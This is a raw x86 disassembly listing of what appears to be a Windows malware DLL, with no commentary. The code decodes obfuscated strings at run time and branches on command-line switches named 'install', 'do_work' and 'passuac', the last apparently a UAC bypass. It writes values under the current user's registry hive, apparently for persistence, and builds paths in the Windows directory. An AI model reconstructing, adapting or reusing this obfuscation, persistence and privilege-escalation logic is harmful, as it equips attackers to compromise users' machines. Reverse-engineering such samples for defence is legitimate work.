add esp, 4
lea ecx, [ebp - 0x274]
push eax
call fcn.10002200
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0x22
call fcn.100021b0
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x274]
mov esi, dword [ebp - 0x260]
cmp esi, 0x10
mov edi, dword [ebp - 0x274]
cmovae ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b290
sub ecx, edx
cmp esi, 0x10
lea edx, [ebp - 0x274]
push ecx
cmovae edx, edi
lea ecx, [ebp - 0x3a8]
call fcn.10007fa0
add esp, 4
mov byte [ebp - 4], 0x23
cmp dword [eax + 0x14], 8
jb 0x1000b2c0
mov eax, dword [eax]
lea edx, [ebp - 0x2dc]
mov ecx, eax
call fcn.10004d20
mov esi, eax
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0x24
call fcn.10001fb0
mov byte [ebp - 4], 0x21
test esi, esi
je 0x1000b2f3
push str.Create_OK
call fcn.10002fb0
add esp, 4
lea ecx, [ebp - 0x274]
call fcn.10002140
push eax
call fcn.10002fb0
add esp, 4
lea ecx, [ebp - 0x274]
call fcn.100021b0
lea ecx, [ebp - 0x2d4]
call fcn.100021b0
lea ecx, [ebp - 0x28c]
call fcn.10001fb0
lea ecx, [ebp - 0x190]
call fcn.10001fb0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x100295ee
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xa98
push esi
push edi
push 0x10038edc
call fcn.10002fb0
add esp, 4
lea eax, [ebp - 0x490]
push 0x104
push 0
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0x490]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x490]
push eax
call fcn.10017a76
add esp, 4
push 0x10038ee0
call fcn.10002fb0
add esp, 4
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
je 0x1000b3f6
xor esi, esi
cmp dword [ebp - 0x18], esi
jle 0x1000b3f6
push dword [edi + esi*4]
call fcn.10002fb0
inc esi
add esp, 4
cmp esi, dword [ebp - 0x18]
jl 0x1000b3e5
push 0x10038f44
call fcn.10002fb0
mov eax, dword [ebp - 0x18]
add esp, 4
cmp eax, 1
jle 0x1000c143
test edi, edi
je 0x1000be93
cmp eax, 2
jne 0x1000be93
push 0x10038eec
push dword [edi + 4]
call fcn.10016200
add esp, 8
test eax, eax
jne 0x1000bb8a
call fcn.100084f0
cmp byte [0x10074235], 1
jne 0x1000b671
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x288]
call fcn.10002280
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x208], 0x898980d6
mov word [ebp - 0x204], 0x3d97
movups xmmword [ebp - 0x202], xmm0
mov word [ebp - 0x1f2], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x18
jae 0x1000b4da
nop word [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x9b7c5857
mov al, byte [ebp + eax - 0x208]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
sub cl, 0x61
mov byte [ebp + eax - 0x208], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x18
jb 0x1000b4a0
lea eax, [ebp - 0x208]
push eax
lea edx, [ebp - 0x288]
lea ecx, [ebp - 0x2c4]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x288]
push eax
call fcn.10002200
lea ecx, [ebp - 0x2c4]
call fcn.100021b0
xorps xmm0, xmm0
mov dword [ebp - 0x169], 0x301007f
mov dword [ebp - 0x165], 0x70007e7e
mov byte [ebp - 0x161], 0x9e
movups xmmword [ebp - 0x160], xmm0
mov byte [ebp - 0x150], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x1a
jae 0x1000b58a
nop word [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x6389c143
mov al, byte [ebp + eax - 0x169]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
add cl, 0x2b
mov byte [ebp + eax - 0x169], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1a
jb 0x1000b550
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0xafbeb0cb
mov dword [ebp - 0x6c], 0x404e3eab
mov dword [ebp - 0x68], 0x46432e3a
mov dword [ebp - 0x64], 0x46594448
mov dword [ebp - 0x60], 0x3a345d48
mov dword [ebp - 0x5c], 0x5e505b49
mov dword [ebp - 0x58], 0x362c4447
mov dword [ebp - 0x54], 0x58565745
mov dword [ebp - 0x50], 0x5c2e4d50
mov dword [ebp - 0x4c], 0x6e677050
mov dword [ebp - 0x48], 0x740a1d68
mov word [ebp - 0x44], 0xf56c
movq qword [ebp - 0x42], xmm0
mov word [ebp - 0x3a], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x38
jae 0x1000b634
nop dword [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0xb155fcfb
mov al, byte [ebp + eax - 0x70]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
add cl, 0x23
mov byte [ebp + eax - 0x70], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x38
jb 0x1000b600
lea ecx, [ebp - 0x288]
call fcn.100046f0
push eax
lea ecx, [ebp - 0x288]
call fcn.10002140
push eax
push 1
lea eax, [ebp - 0x169]
push eax
lea eax, [ebp - 0x70]
push eax
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
call fcn.10009960
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.install
call fcn.10002fb0
add esp, 4
call fcn.100089d0
test eax, eax
je 0x1000b794
call fcn.10009c60
test eax, eax
jne 0x1000b794
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x250]
call fcn.10002280
mov dword [ebp - 4], 2
xorps xmm0, xmm0
mov dword [ebp - 0x1d9], 0xbda5bc56
mov word [ebp - 0x1d5], 0x31a7
movups xmmword [ebp - 0x1d3], xmm0
mov word [ebp - 0x1c3], 0
mov byte [ebp - 0x1c1], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x19
jae 0x1000b72a
nop dword [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x8a0e6b09
mov al, byte [ebp + eax - 0x1d9]
movzx edx, al
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
mov eax, dword [ebp - 0x14]
add edx, ecx
sub dl, 0x3f
mov byte [ebp + eax - 0x1d9], dl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x19
jb 0x1000b6f0
lea eax, [ebp - 0x1d9]
push eax
lea edx, [ebp - 0x250]
lea ecx, [ebp - 0x2dc]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x250]
push eax
call fcn.10002200
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 3
call fcn.100021b0
mov byte [ebp - 4], 2
call fcn.10009830
cmp dword [ebp - 0x23c], 0x10
lea ecx, [ebp - 0x250]
cmovae ecx, dword [ebp - 0x250]
call fcn.1000c740
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x250]
jmp 0x1000bb7e
mov ecx, 0x1a
call fcn.10007c00
test eax, eax
je 0x1000b936
push 0x10038f04
call fcn.10002fb0
add esp, 4
lea eax, [ebp - 0x490]
lea ecx, [ebp - 0x184]
push eax
call fcn.10002280
mov dword [ebp - 4], 5
xorps xmm0, xmm0
mov dword [ebp - 0x1a3], 0x6e9b69e6
mov dword [ebp - 0x19f], 0x9a9f6a6f
mov byte [ebp - 0x19b], 0xfe
movups xmmword [ebp - 0x19a], xmm0
mov dword [ebp - 0x18a], 0
mov word [ebp - 0x186], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x1f
jae 0x1000b84b
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x8a5defdf
mov al, byte [ebp + eax - 0x1a3]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
sub cl, 0x19
mov byte [ebp + eax - 0x1a3], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1f
jb 0x1000b811
lea eax, [ebp - 0x1a3]
push eax
lea edx, [ebp - 0x184]
lea ecx, [ebp - 0x2f4]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x184]
push eax
call fcn.10002200
lea ecx, [ebp - 0x2f4]
mov byte [ebp - 4], 6
call fcn.100021b0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x184]
mov esi, dword [ebp - 0x170]
cmp esi, 0x10
cmovae ecx, dword [ebp - 0x184]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000b8a0
sub ecx, edx
cmp esi, 0x10
lea edx, [ebp - 0x184]
cmovae edx, dword [ebp - 0x184]
push ecx
lea ecx, [ebp - 0x30c]
call fcn.10007fa0
add esp, 4
mov byte [ebp - 4], 7
cmp dword [eax + 0x14], 8
jb 0x1000b8d4
mov eax, dword [eax]
lea edx, [ebp - 0x254]
mov ecx, eax
call fcn.10004d20
mov esi, eax
lea ecx, [ebp - 0x30c]
mov byte [ebp - 4], 8
call fcn.10001fb0
mov byte [ebp - 4], 5
test esi, esi
je 0x1000b907
push str.Create_OK
call fcn.10002fb0
add esp, 4
cmp dword [ebp - 0x170], 0x10
lea eax, [ebp - 0x184]
cmovae eax, dword [ebp - 0x184]
push eax
call fcn.10002fb0
add esp, 4
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x184]
jmp 0x1000bb7e
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x238]
call fcn.10002280
mov dword [ebp - 4], 0xa
xorps xmm0, xmm0
mov dword [ebp - 0x1f0], 0xe9edd6b8
mov word [ebp - 0x1ec], 0x55ef
movups xmmword [ebp - 0x1ea], xmm0
mov byte [ebp - 0x1da], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x17
jae 0x1000b9ba
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x5d1a2db4
mov al, byte [ebp + eax - 0x1f0]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
add cl, 0x14
mov byte [ebp + eax - 0x1f0], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x17
jb 0x1000b980
lea eax, [ebp - 0x1f0]
push eax
lea edx, [ebp - 0x238]
lea ecx, [ebp - 0x324]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x238]
push eax
call fcn.10002200
lea ecx, [ebp - 0x324]
mov byte [ebp - 4], 0xb
call fcn.100021b0
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0x238]
cmp dword [ebp - 0x224], 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x1c0], 0x6b69689f
cmovae esi, dword [ebp - 0x238]
mov dword [ebp - 0x1bc], 0x58685e5e
mov byte [ebp - 0x1b8], 0xfe
movups xmmword [ebp - 0x1b7], xmm0
mov dword [ebp - 0x1a7], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x1d
jae 0x1000ba7e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x2cffbfff
mov al, byte [ebp + eax - 0x1c0]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
add cl, 7
mov byte [ebp + eax - 0x1c0], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1d
jb 0x1000ba44
xorps xmm0, xmm0
mov dword [ebp - 0xaa], 0x67185e3b
mov dword [ebp - 0xa6], 0x1260106b
mov dword [ebp - 0xa2], 0x1c133808
mov dword [ebp - 0x9e], 0x6c696a6e
mov dword [ebp - 0x9a], 0x181e6916
mov dword [ebp - 0x96], 0x74027309
mov dword [ebp - 0x92], 0x2c16727f
mov dword [ebp - 0x8e], 0xa787f7d
mov dword [ebp - 0x8a], 0x7668797e
mov dword [ebp - 0x86], 0x47f0606
mov dword [ebp - 0x82], 0xe6c6906
mov word [ebp - 0x7e], 0x990a
movq qword [ebp - 0x7c], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x3a
jae 0x1000bb4a
nop
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0xffa7919e
mov al, byte [ebp + eax - 0xaa]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
sub cl, 0x52
mov byte [ebp + eax - 0xaa], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3a
jb 0x1000bb10
push dword [ebp - 0x228]
lea eax, [ebp - 0x1c0]
push esi
push 1
push eax
lea eax, [ebp - 0xaa]
push eax
push 0x80000001
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
call fcn.10009960
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x238]
call fcn.100021b0
mov dword [ebp - 4], 0xffffffff
xor eax, eax
mov dword [ebp - 0x28], 0x3b89398f
mov dword [ebp - 0x24], 0x3f913d88
mov word [ebp - 0x20], 0x13e
mov dword [ebp - 0x1e], eax
mov word [ebp - 0x1a], ax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x10
jae 0x1000bbe4
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0xc7a2d4d7
mov al, byte [ebp + eax - 0x28]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
add cl, 0x1f
mov byte [ebp + eax - 0x28], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x10
jb 0x1000bbb0
lea eax, [ebp - 0x28]
push eax
push dword [edi + 4]
call fcn.10016200
add esp, 8
test eax, eax
jne 0x1000bc09
push str.do_work
call fcn.10002fb0
add esp, 4
call fcn.10009960
push str.passuac
push dword [edi + 4]
call fcn.10016200
add esp, 8
test eax, eax
jne 0x1000c292
xorps xmm0, xmm0
mov dword [ebp - 0xfc], 0x33be35a9
mov dword [ebp - 0xf8], 0x2f6231a2
mov dword [ebp - 0xf4], 0x2ba42db5
mov dword [ebp - 0xf0], 0x272829b1
movq qword [ebp - 0xec], xmm0
mov word [ebp - 0xe4], ax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1a
jae 0x1000bc9e
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x4f18d029
mov al, byte [ebp + eax - 0xfc]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
sub cl, 0x1f
mov byte [ebp + eax - 0xfc], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x1a
jb 0x1000bc64
lea edx, [ebp - 0xfc]
lea ecx, [ebp - 0x294]
call fcn.10004c40
mov edi, dword [eax + 4]
mov esi, dword [eax]
lea ecx, [ebp - 0x294]
mov dword [ebp - 4], 0xd
call fcn.10005420
sub edi, esi
mov dword [ebp - 4], 0xffffffff
sar edi, 2
push 0x208
push 0
test edi, edi
je 0x1000bd10
lea eax, [ebp - 0xaa8]
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0xaa8]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0xaa8]
call fcn.10008480
jmp 0x1000c292
lea eax, [ebp - 0x698]
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0x698]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xorps xmm0, xmm0
mov dword [ebp - 0xe2], 0x6be56d88
mov dword [ebp - 0xde], 0x67e969e1
mov dword [ebp - 0xda], 0x63ff65e8
mov dword [ebp - 0xd6], 0x1fd161f5
mov dword [ebp - 0xd2], 0x1bfe1dd2
mov dword [ebp - 0xce], 0x179c1997
mov dword [ebp - 0xca], 0x138a158b
mov dword [ebp - 0xc6], 0xf811183
mov dword [ebp - 0xc2], 0xbd80d80
mov dword [ebp - 0xbe], 0x78e0995
mov dword [ebp - 0xba], 0x3020599
movq qword [ebp - 0xb6], xmm0
mov dword [ebp - 0xae], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x38
jae 0x1000bdfb
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x4e7fe832
mov al, byte [ebp + eax - 0xe2]
movzx edx, al
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
mov eax, dword [ebp - 0x14]
add edx, ecx
sub dl, 0x5e
mov byte [ebp + eax - 0xe2], dl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x38
jb 0x1000bdc1
lea edx, [ebp - 0xe2]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x1000be03
lea edi, [ebp - 0x698]
sub edx, esi
add edi, 0xfffffffe
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x1000be20
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x698]
call fcn.100048f0
lea ecx, [ebp - 0x490]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000be50
sub ecx, edx
lea edx, [ebp - 0x490]
push ecx
lea ecx, [ebp - 0x33c]
call fcn.10007fa0
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 0xe
call fcn.10001fa0
mov ecx, eax
call fcn.100045c0
lea ecx, [ebp - 0x33c]
call fcn.10001fb0
jmp 0x1000c292
call fcn.10009830
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x270]
call fcn.10002280
mov dword [ebp - 4], 0xf
xorps xmm0, xmm0
mov dword [ebp - 0x14f], 0x5551a60c
mov word [ebp - 0x14b], 0x215f
movq qword [ebp - 0x149], xmm0
mov dword [ebp - 0x141], 0
mov word [ebp - 0x13d], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x14
jae 0x1000bf2a
nop
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x55d21526
mov al, byte [ebp + eax - 0x14f]
movzx edx, al
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
mov eax, dword [ebp - 0x14]
add edx, ecx
sub dl, 0xa
mov byte [ebp + eax - 0x14f], dl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x14
jb 0x1000bef0
lea eax, [ebp - 0x14f]
push eax
lea edx, [ebp - 0x270]
lea ecx, [ebp - 0x354]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x270]
push eax
call fcn.10002200
lea ecx, [ebp - 0x354]
mov byte [ebp - 4], 0x10
call fcn.100021b0
mov edx, 2
mov byte [ebp - 4], 0xf
push 0
lea ecx, [edx + 4]
call fcn.10004b80
add esp, 4
test al, al
je 0x1000c126
call fcn.10009c60
test eax, eax
je 0x1000c126
push 0x208
lea eax, [ebp - 0x8a0]
push 0
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [ebp - 0x8a0]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xorps xmm0, xmm0
mov dword [ebp - 0x13b], 0xb321b11c
mov dword [ebp - 0x137], 0xb725b53d
mov dword [ebp - 0x133], 0xab0fa93c
mov dword [ebp - 0x12f], 0xaf7dad31
mov dword [ebp - 0x12b], 0xa30ea172
mov dword [ebp - 0x127], 0xa730a537
mov dword [ebp - 0x123], 0x9b02993b
mov dword [ebp - 0x11f], 0x9f0d9d03
mov dword [ebp - 0x11b], 0x934c9104
mov dword [ebp - 0x117], 0x971e9531
mov dword [ebp - 0x113], 0x8b8a892d
movups xmmword [ebp - 0x10f], xmm0
mov word [ebp - 0xff], 0
mov byte [ebp - 0xfd], 0
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0x3f
jae 0x1000c08a
nop dword [eax + eax]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0x59ac32c8
mov al, byte [ebp + eax - 0x13b]
movzx edx, al
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
mov eax, dword [ebp - 0x14]
add edx, ecx
sub dl, 0x78
mov byte [ebp + eax - 0x13b], dl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3f
jb 0x1000c050
lea edx, [ebp - 0x13b]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x1000c092
lea edi, [ebp - 0x8a0]
sub edx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x1000c0b0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x8a0]
call fcn.100048f0
lea ecx, [ebp - 0x490]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000c0e0
sub ecx, edx
lea edx, [ebp - 0x490]
push ecx
lea ecx, [ebp - 0x36c]
call fcn.10007fa0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x11
call fcn.10001fa0
mov ecx, eax
call fcn.10009560
lea ecx, [ebp - 0x36c]
call fcn.10001fb0
lea ecx, [ebp - 0x270]
jmp 0x1000c28d
lea ecx, [ebp - 0x270]
call fcn.10002140
mov ecx, eax
call fcn.1000c740
lea ecx, [ebp - 0x270]
jmp 0x1000c28d
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x220]
call fcn.10002280
mov dword [ebp - 4], 0x12
xor eax, eax
mov dword [ebp - 0x38], 0x1410144c
mov dword [ebp - 0x34], 0x1b1a0014
mov byte [ebp - 0x30], 0xa4
mov dword [ebp - 0x2f], eax
mov word [ebp - 0x2b], ax
mov byte [ebp - 0x29], al
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x10
jae 0x1000c1b7
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
add ecx, 0xf799f046
mov al, byte [ebp + eax - 0x38]
movzx edx, al
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
mov eax, dword [ebp - 0x14]
add ecx, edx
add cl, 0x16
mov byte [ebp + eax - 0x38], cl
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x10
jb 0x1000c183
lea eax, [ebp - 0x38]
push eax
lea edx, [ebp - 0x220]
lea ecx, [ebp - 0x384]
call fcn.10003e20
add esp, 4
lea ecx, [ebp - 0x220]
push eax
call fcn.10002200
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 0x13
call fcn.100021b0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x220]
mov esi, dword [ebp - 0x20c]
cmp esi, 0x10
mov edi, dword [ebp - 0x220]
cmovae ecx, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000c210
sub ecx, edx
cmp esi, 0x10
lea edx, [ebp - 0x220]
push ecx
cmovae edx, edi
lea ecx, [ebp - 0x2ac]
call fcn.10007fa0
add esp, 4
mov byte [ebp - 4], 0x14
cmp dword [eax + 0x14], 8
jb 0x1000c240
mov eax, dword [eax]
lea edx, [ebp - 0x258]
mov ecx, eax
call fcn.10004d20
mov esi, eax
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 4], 0x15
call fcn.10001fb0
mov byte [ebp - 4], 0x12
test esi, esi
je 0x1000c273
push str.Create_OK
call fcn.10002fb0
add esp, 4
lea ecx, [ebp - 0x220]
call fcn.10002140
push eax
call fcn.10002fb0
add esp, 4
lea ecx, [ebp - 0x220]
call fcn.100021b0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebp
mov ebp, esp
and esp, 0xfffffff8
cmp dword [0x1007573c], 0
jne 0x1000b340
jmp 0x10009fa0